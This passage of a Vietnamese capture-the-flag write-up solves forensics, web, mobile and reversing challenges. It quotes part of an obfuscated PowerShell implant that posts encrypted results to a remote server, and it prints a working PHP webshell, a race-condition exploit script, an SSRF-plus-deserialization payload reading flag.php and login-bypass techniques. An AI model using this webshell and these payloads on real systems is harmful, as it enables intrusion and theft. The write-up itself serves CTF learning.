""} Invoke-WebRequest -UseBasicParsing -Uri ${TVYmEyRR99} -Body ${KvqBxbUr} -Method 'POST' } elseif (${wB1sWYOJe} -eq 'quit'){ exit } } sleep ${N} } } ``` + Đọc hiểu đoạn mã này thì mình nhận thấy đây là mã hóa AES 256 : 1. Key là `${AjUJVrAZ99}.key = ${vXzTmff}` `${vXzTmff} = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='` 2. Iv và plaintext liên quan đến đoạn : ``` function eNCRYpT(${VxzTMFf}, ${ROFPdqRF99}) { ${ByTES} = ( varIable 'hlvW1' ).vALUE::"uTf8".GetBytes.INVokE(${rOFpdQRF99}) ${ajujVRAZ99} = Create-AesManagedObject ${VXZtMFf} ${qDIqLGaQ99} = ${aJujVRAZ99}.CreateEncryptor.inVoKe() ${lwihYmIF99} = ${QdiqLgaq99}.TransformFinalBlock.iNvOKe(${byTeS}, 0, ${byTes}.LeNgTh); [byte[]] ${fJAxUWQN99} = ${AJujvRAz99}.Iv + ${lWiHYmiF99} ${ajUJVRAZ99}.Dispose.iNVOKE() ${xNFd}::"tOBase64STRiNG".iNvoke(${FjAXUWqN99}) } function deCRyPT(${VXztmFF}, ${bKJrxQCf99}) { ${bYTEs} = (vARiable 'xnfd' ).ValuE::'FromBase64String'.InVOKE(${BkjRxqcF99}) ${5tMRWpLuY} = ${BYTes}[0..15] ${aJuJVraz99} = Create-AesManagedObject ${VxZTmFF} ${5TMRwpLUY} ${MNDmWYnB99} = ${AJUjvRAz99}.CreateDecryptor.InVoke(); ${AhtLMYhl99} = ${MNDmWynB99}.TransformFinalBlock.iNvokE(${bYTES}, 16, ${byTeS}.lENgTH - 16); ${AJUjVRAZ99}.Dispose.INVOKE() ${HLVW1}::"uTF8".GETStriNg(${AhtLmYhl99}).TRIM([char]0) } ``` + Trong đoạn mã, sau khi dữ liệu được mã hóa ``(${kcnjCQDL})`` hoặc giải mã ``(${mA04XMgY})``, kết quả này được đưa vào trong một mảng ``(${kVQBXbur})`` với một khóa ('result') và sau đó được gửi đi qua yêu cầu POST thông qua hàm Invoke-WebRequest. + Mục đích của yêu cầu POST có thể liên quan đến việc truyền dữ liệu đã được xử lý (mã hóa/giải mã) đến một máy chủ từ xa hoặc nhận phản hồi từ máy chủ từ xa sau khi xử lý dữ liệu. + Dùng wireshark tìm kiếm `http.request.method == "POST"` và data nó nằm ở trường dữ liệu `urlencoded-form.value` + Dùng tshark extract các data đó ra và mình có được IV và Plaintext. ``` aix8RxrqFg9Wi2uiE6B8BVgr5L51x55Cxxxw4zppPONqXskKoe+N7OMDg1d06pTj luFqXmiFN1kyXfGkxrD9GukoecDD5s6XLJwlHJ2T/Yu7F8NkHwvBwut0us0/rbsJabWaVH47WHTwPEdGnj2rxdsm0o7dns4ptkRQ4ckX9uxwMLKqFWygzb9oSVA7BR7ilsjkBwvvSJDmKCOcITICTg== syJFxAeJjdsNXrRpzEenYfY45X1Ag+3DMc+8V1moMH4J97dMf4DD5lMiQEBNAohIxmnjYG2bD9sFzLh9sCNXQnr5xrzGDSqKzXi+CbMGYkyvfAovaK7DrdzdwR+wMHQPju7ujDz2m0W2G3mlpLv+fz29mEFb6EbtJpcwN+mVkjPsWTiLtqNisztY2OgCvKkjDLD21Ke2iizhhDDcFWOc4gz5PQSXxlELaPsbZ10fiVEVFWUXNLAM3MTUgHmQuYA9AHCqWQmSewV1/iIcoZ+FwJB2H2SJSnZtLLhNsBkSgGYVaeAr/2CzKRWEa611H6blwl+Swh6tz9Fc3UiSAu210vUrdTWAT7t2rVPBFTsg4O1wuDxBacdP1aVsYAKCPUygpxxnxwjdesiDuja1nNU7ZfB/+Ahbwx5dF1AB7hgLT5AQkLWehwfrx4bIz40JUJth7S4oNSpoLir3Zztd8t/LyEOO7qZEpr8d5libGZngrYUxoOEMJkoeMk6rfepBioDMFsKQ03ZgbHLnfXvhNdgRuYlV9wucD3NJitZ+e1bTPxEabcboTu/7lq0CrxQvuU+ZnpedwvEu7OgjVldq3W26tEHWSk3TXBYjloJFhihNxzaLXNRtFwa85t/HsbUg2K2j7aJZoStBG6sa8+8KiXJ48WAgnaWamXsxMUIlC3UzDlHl/mEdMljsJJRx74v+dcOgcrE7lHP7hd4zG4L0OHhiIB2p/69rUeQtUABJMc9gijLZ51Lh8TMeG074biK1SO0nANJaS8Eow0wV/+r9u488OqNALJ+Jc6fgY1JRLT3rBIiBFwH520oqaH6CcuMlIV4hpka+BRseU5X6FyPT5SR6Pf7TIF8MHT1NBZzVxH+eGkBxLMbZYt39FZLtWpYXOEQbghxUT4svtsphzGnF9FbMMlxe8d1ATfCm7CQDqeC4Bviq60oWDjupDi/5/RgHLh+GJooVOka4sofTwEckFJif5d6v26rgrcfr51Y6RebUCoxUGQfdgoityTeHfmeIK5aXVCSNePQmsMEFIrCl0E7ncnFJ649yVQ6nvDNhxCqWL+z/7N5admwm7rdXotv7l5GPJ9G7FQW5jCLJ0MwUgK/orGEJo93/SI4p6pVRVl7L8cGaeGOc1WhWVRU4wWlDVC1xurRMjjrXgrjsDe0Y9iFkTlDw6rJeUd4kKTu/FsiYcF9Xdj2bpP8kLZu4OaSNkZ3UEwqLs+Pca8v+R2q2BX0mjNleYmZsyYqrISDh3KuF4iBv6INaguDECQ+wHHr25L9CjYmu/nIlJmyB0OycbAH/Zq9LSMSIzdD6enlxGdQBfuvtYpAPHfQ4bmao3xQxsD09gjA0IjN05l8Bv3cUklK0gTkANUEVhUGbQ7LgNC8A5G+EpUB32ur72Y+NAFLeCAdYd8czsz+51KKNQr3V29Q1kXZXGXRqNUPva8kDofwCtt8Hmg554+0YxENNY5S7b72H7Jw4kxQa+Oe2vkEnBl6EbDVi2gqFdOwvCqQD7cLP5l7tbkbWRBltCKpvlaz3pJd4/xuBkVCZDBMqoF/PUIt4mPDhmN02hrA5jV15fo+od8lYFazxxZAjg4vV5meEL3K3hJfSSmTtLcuXpCHwxDA1+vOcGVsapwTn2vIlyuOlq3AgqKcXr1aFb6DJYjnIg/o8gbJX3lE/b0ZlVPYFBx0WfI0A/SWRsmNM7ICTJCXrGnkLKTyfwXXtWhJt3B4FVgdn oLGpnM8tDrH9/JBe5GYTrewvNFclSWXFfuvoKfF3WezjhkNMJ5aEt3wcAUl2cib0AtdsIBZtgo3M3LLLo/Yb1YBFrIy+RTZW2rwWySE3HE1m4AKv2XkWOvwuapBBC/ixkp9U4dzwSdhjOYCIk/mTXLJaGDioTHzDJCXuicEMP8O4tbpDbbGdPOPHm4HOHN+VUzYrctFoRyGm6aZ7CHyydkQPplBTnksHN43WR++C69mvPYfSvGTIlHGPW6yjGbgrtQRjWOfIyXZD0XvG0c9b5Gz0xGJY9axPoEjZHQlsAtLMAdFS4StVY1BjL/yBOg6h9zmu10nZwnuDp/iXRjVmbjEJeSPYwdsOiCmH/ubkELlb72b6z9w8/pv6TrmCJWKQo1p0mNUXwstKKHkw4pnBW5IG9HwOOkRzBqB7yna43gGjENzgdmuQWZa35l7ozu5KPjgV5LwMfTeYWDrnII2qvj99j4FhWsxETt85+TfI4/Zc3fAED8NtiAs5sxak03BAhXn26xFlwW/fBD7QpMPlUuTs1Eocun4tGRPVfS7jO8DmK/Glx81S/4By665OVB9Vj2zLQhqfAssVQVnz+elcqFcBAHB+Gkj5JKDk5U7MeOHNi1GjxyrmwvVOn7p6SHdT5WE4S9bM3RKmiAz76de6m2jozSpwr5kVd5lFhrQS3CoziwvwkHYOMu7l1nuCkN65EflYRtSfVnP3eg8QjDTnc6CjhK/pTDKDUorsFQ9914X2nE6wwjddgA161UOPW4rwH4Qs6CQJ9bgDB+AoMkRsI+dzZTrlQGLv1CgX20I3exnFkQAEzmDUo1isTRzCZQM5MiAbLvioZTFpu4c9fH54JBMVFIuM3YLi6ztuMGL4v2cWbj8/kzfVLDdG3mKLUZH6cULFa+p4wraULbmYLL4dI7y2iAagQuOXzqgTuqb/dom8px1JCaMoARhizHU9NLp3 h/REF9LOiNe2K46pgej+c+5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh/uctV0zSYIP23QvJRPm617f/+a4lshe8xLjPc/ChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9/jqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4+yYlICfZEVekO+LTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE+xd+YGcUGhNb+ovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46+e0UjwTt8+yofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s/+YLSefDedRZHXW9FWqSgoIXGBc+EQhuFvQQPiI6hTTq64Y8+QpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX+UFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2/eBSF1MIyfu621hIoXMLibDUaxLupq+FXoIhms+5Ow8kyxdi8EOZA55A2B5p2+Y9kZwaIpPsuPk3h78J+QvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k+FW1zPAFSNKy5X38MCszAZ/i1dcXYwShjj4VrZLMM+zitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6+wo4qZ/jUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2+vYv+XfXC8kAK7+UZhJ7jW3EeNAlGq3vwo+PE0DFUFaN/yiCsaYQanw5s6Q2+boNph7ybKBU1jKj+cqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE+Q9QDM5QaI8AOi2WUl++W3bevqPf4wSPnk4kAc//cSdpHI+90U/NzsiwlMQ8VAoPjJ+b2VHWO51/1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk+Fxu/6+hNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s+DzKNk8AaMq+h0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ/llTFPNOH7/vU5pBpcg7I+rqkr/ayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY+9fUz/uxSvafuFG0CEUZxdXljsPNz94/ANu4qAiAqxZeRwMr+MZsyX/dYZoREl74sk4mOg0ilLhmTfFFN6d0te1es ``` + IV : là 16 bytes đầu như hàm decrypt đã mô tả + Planintext là phần còn lại. => Tới đây bạn có thể code hoặc ném lên [cyberchef](https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)) để decrypt. ![](https://hackmd.io/_uploads/BJk6TZtY3.png) ![](https://hackmd.io/_uploads/Skgw0WKK3.png) ``` import base64 import re from Crypto.Cipher import AES from pyzbar.pyzbar import decode from PIL import Image key = base64.b64decode("d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=") chunks = [ "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""" ] plaintext_all = b"" for chunk in chunks: raw = base64.b64decode(chunk) iv, ct = raw[:16], raw[16:] cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct).rstrip(b"\x00") # ZeroPadding plaintext_all += pt pattern = re.compile(b"89504e47[0-9a-fA-F]+49454e44ae426082") match = pattern.search(plaintext_all) if match: hex_png = match.group().decode() png_bytes = bytes.fromhex(hex_png) with open("output.png", "wb") as f: f.write(png_bytes) # Decode QR img = Image.open("output.png") qr = decode(img) if qr: for obj in qr: print("QR Code:", obj.data.decode("utf-8", errors="ignore")) ``` ![image](https://hackmd.io/_uploads/S1UcP7fqlx.png) `CHH{D0n't_w0rRy_n0_st@r_wh3rE}` ## Web ### Magic shop #### Sol : + Mở đầu là 1 form login, mở source: ![](https://hackmd.io/_uploads/r1omdfYtn.png) + Trong đoạn code trên trang web sẽ lấy username và password bị hash bằng sha256 và kiểm tra điều kiện pasword phải bằng 0 thì mới login được. Mặc dù password đã bị hash nhưng ta vẫn có thể login được. Bởi vì trang web sử dụng sử dụng == để so sánh 1 chuỗi với 1 interger nên nó có thể bị 1 lỗ hổng là Type Juggling + Khi so sánh một string với một số interger trong PHP, nếu như string bắt đầu bằng một ký tự không phải là số, nó sẽ mặc định là int(0) hoặc các strings bắt đầu với các ký tự là 0e, khi đó các chuỗi được chuyển thành các lũy thừa tương đương đương với int(0) + Bên cạnh đó ta có 1 lỗ hổng khác là magic hashes nó xuất hiện do một lỗi trong cách PHP xử lý kiểu dữ liệu khi so sánh chuỗi băm với số nguyên. Nếu một chuỗi băm bắt đầu bằng “0e” . Thế nên ta có thể dễ dàng tìm thấy payload trên mạng nguồn payload https://github.com/spaze/hashes => qua được phần login + Phần sau là 1 chức năng upload file và trong source không có chức năng bảo mật gì nên ta chỉ cần upload file webshell lên và và thực hiện tìm flag thôi ![](https://hackmd.io/_uploads/r1mPuGtt3.png) + file upload: webshell.php ``` <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html> ``` ![](https://hackmd.io/_uploads/B1t7kQFKn.png) ### Be Positive #### Sol : + Bài này chỉ cần lúc chuyển chiền cho tài khoản khác sửa thành số âm là được. sau đó dùng số tiền đó để mua flag là xong ### Slow Down #### Sol : + Bài này trang web tương tự Be Positive, payload nhưng chuyển tiền qua tài khoản khác bằng số âm đã không còn hoạt động ở bài này. Mình nghĩ bài này rất có thể sẽ bị lỗ hổng race condition=> đúng thật là nó ;v + file exploit.py ``` import asyncio import httpx async def use_code(client): resp = await client.post(f'http://slow-down-44f3a156.dailycookie.cloud/?action=transfer', cookies={"PHPSESSID": "e4dbc35e8795f3889acff05a0baff65d"}, data={"amount": "100.849%","recipient":"alice"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ### Video Link Extractor #### Sol : + Khi host=local trang web thực hiện đoạn code: ![image](https://github.com/vanatka10/he/assets/126310360/06a6dfc9-7f99-45cf-b85e-133d1a181369) + Lợi dụng điều này, sẽ gọi đến chức năng redirect của localhost:1337, đoạn code chức năng redirect thì tại đây. + Nó nhận vào param là url, mình sẽ thay url là webhook của mình request sẽ có dạng /index.php?mode=extract&id=?mode=redirect%26url=http://s442vvl7.requestrepo.com&host=local ![image](https://github.com/vanatka10/he/assets/126310360/d1d1bbc5-59cd-4973-8196-c9846cf29866) ![image](https://github.com/vanatka10/he/assets/126310360/99240019-5fe8-46ad-8575-ae7b4323b332) + Oke đã thực hiện get vào trang web của mình ![image](https://github.com/vanatka10/he/assets/126310360/00e8be04-3b72-4837-9186-c7da3e175b6f) + => Tới đây nó sẽ lấy response từ webhook để nó unserialize ![image](https://github.com/vanatka10/he/assets/126310360/2c57010e-6e94-4039-bdbd-5323eb58a886) + Lợi dụng điều này mình sẽ cho response trả về là serialize data của object mà object nào thì dựa vào logic chương trình sẽ lợi dụng object Utils vì khi wakeup nó gọi $this->file ![image](https://github.com/vanatka10/he/assets/126310360/d689a584-bafa-4ff8-ae11-9cf540ae7f47) + Chúng ta có thể kiếm soát file là có thể include bất cứ file nào mong muốn => dùng đoạn script để tạo payload ``` <?php class Utils { public $_file = "php://filter/convert.base64-encode/resource=flag.php"; }; echo(serialize(new Utils())); ?> ``` Thay kết quả của script vào response của webhook ![image](https://github.com/vanatka10/he/assets/126310360/93979176-f09a-4bd9-8c70-64047912397c) ![image](https://github.com/vanatka10/he/assets/126310360/2c0eb3a9-b4ee-4d7c-95de-5a1e0a2902cb) ![image](https://github.com/vanatka10/he/assets/126310360/2d1f02ae-3bb2-410e-b5c6-0faa96ea34d9) ## Mobile ### Cat Me #### Sol : + Đề cho ta 2 file : apk và json => ném file apk vào jadx lên để phân tích => Search Flag và mình tìm đc đoạn mã base64 ![](https://hackmd.io/_uploads/HJ7MmUtK3.png) => `Q0hIe00wcmVfMW43RVIzU1RJTjlfN2gxTjZfMU5fbG9nY2F0fQ==` => decode base64 và nhận flag : `CHH{M0re_1n7ER3STIN9_7h1N6_1N_logcat}` ### Pinned Cookie #### Sol : + Vẫn mở jadx lên để phân tích file apk và mình tìm thấy chuỗi base 64 và hàm y0 là 1 hàm xor ![](https://hackmd.io/_uploads/Sku0uLKt3.png) ![](https://hackmd.io/_uploads/HJkk58tKn.png) + Dựa vào đó mình viết kịch bản cho nó : ``` import base64 def exploit(base64_str, key): decode = base64.b64decode(base64_str) bArr = bytearray(len(decode)) bytes = key.encode() length = len(decode) for i in range(length): bArr[i] = decode[i] ^ bytes[i % len(bytes)] for b in bArr: print(b, end=" ") exploit("MBw6FDdZBT4wRzkQMB0jYEc8EUUDLQwjPiE8LR0TDw==", "sTroN6PaSswORD") ``` ![](https://hackmd.io/_uploads/BycMq8YKn.png) => decode decimal và mình nhận đc flag : `CHH{yoU_c4N_bYP45S_sSL_PInninG}` ## Rev ### Jump Đề bài cho 1 file exe. Chạy chương trình thì thấy nhập input gì đó, thử nhập đại thì nó thoát chương trình. Phân tích bằng IDA. ![](https://hackmd.io/_uploads/HJ42xXFFh.png) Hàm main sẽ nhận 1 input và return về jump(). Sau khi phân tích thì thấy một hàm flag() khả nghi. Vào hàm đó thì thấy nó **return print("flag: ", ...)** ![](https://hackmd.io/_uploads/rkZKW7KKn.png) ``` for a1 in range(1000): for i in range(23): print((a1 & (255 << (8 * (i%4)))) >> (8 * (i%4)), end = ' ') print() ``` Với mỗi a1 bất kỳ ta sẽ thấy nó sẽ lặp lại 4 số bất kỳ tương ứng với **CHH{**. Bây giời Xor v6 vs CHH{ là ta lấy được flag. ``` from pwn import xor # for a1 in range(1000): # for i in range(23): # print((a1 & (255 << (8 * (i%4)))) >> (8 * (i%4)), end = ' ') # print() data = [67, 93, 8, 123, 74, 64, 13, 80, 95, 65, 112, 95, 84, 93, 115, 95, 77, 37, 112, 78, 125, 21, 21] key = xor('CHH{', data[:4]) print(xor(key, data)) # CHH{JUMP_T0_TH3_M00N} ``` ### Pyrevese Đề cho 1 file exe. Phân tích thì thấy nó bị packer Pyinstaller. Dùng tool **pydumpck** để unpack nó và nhận được một file pyreverser.pyc.cdc.py. ``` import base64 def reverse_string(s): return s[::-1] def scramble_flag(flag): scrambled = '' for i, char in enumerate(flag): if i % 2 == 0: scrambled += chr(ord(char) + 1) continue scrambled += chr(ord(char) - 1) return scrambled def main(): secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode()) print('Welcome to PyReverser!') print('Please enter a word or phrase:') user_input = input() generated_value = scramble_flag(reverse_string(user_input.upper())) print('Generated value:', generated_value) print('Can you find the hidden flag?') reversed_flag = reverse_string(secret_flag) print('Reversed flag:', reversed_flag) if __name__ == '__main__': main() return None ``` Decode base64: **Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==** là ra flag: **CHH{python2Exi_Reverse_ENginering}** ### Rev1 Reverse file exe Dùng IDA để phân tích và debug. Ta thấy hàm sub_402030() sẽ nhận String tức là input xử lý. ![](https://hackmd.io/_uploads/BJug6VKF3.png) Tiếp tục debug và thấy tại hàm v3 sẽ call vào dword_C14448() ![](https://hackmd.io/_uploads/ryeKpEtFn.png) và dword_C14448() sẽ như thế này ```debug055:02760000 xor ecx, ecx debug055:02760002 movzx eax, byte ptr [edi+ecx] debug055:02760006 imul eax, 6Eh ; 'n' debug055:02760009 inc ecx debug055:0276000A movzx edx, byte ptr [edi+ecx] debug055:0276000E imul edx, 1C3h debug055:02760014 add eax, edx debug055:02760016 inc ecx debug055:02760017 movzx edx, byte ptr [edi+ecx] debug055:0276001B imul edx, 348h debug055:02760021 add eax, edx debug055:02760023 inc 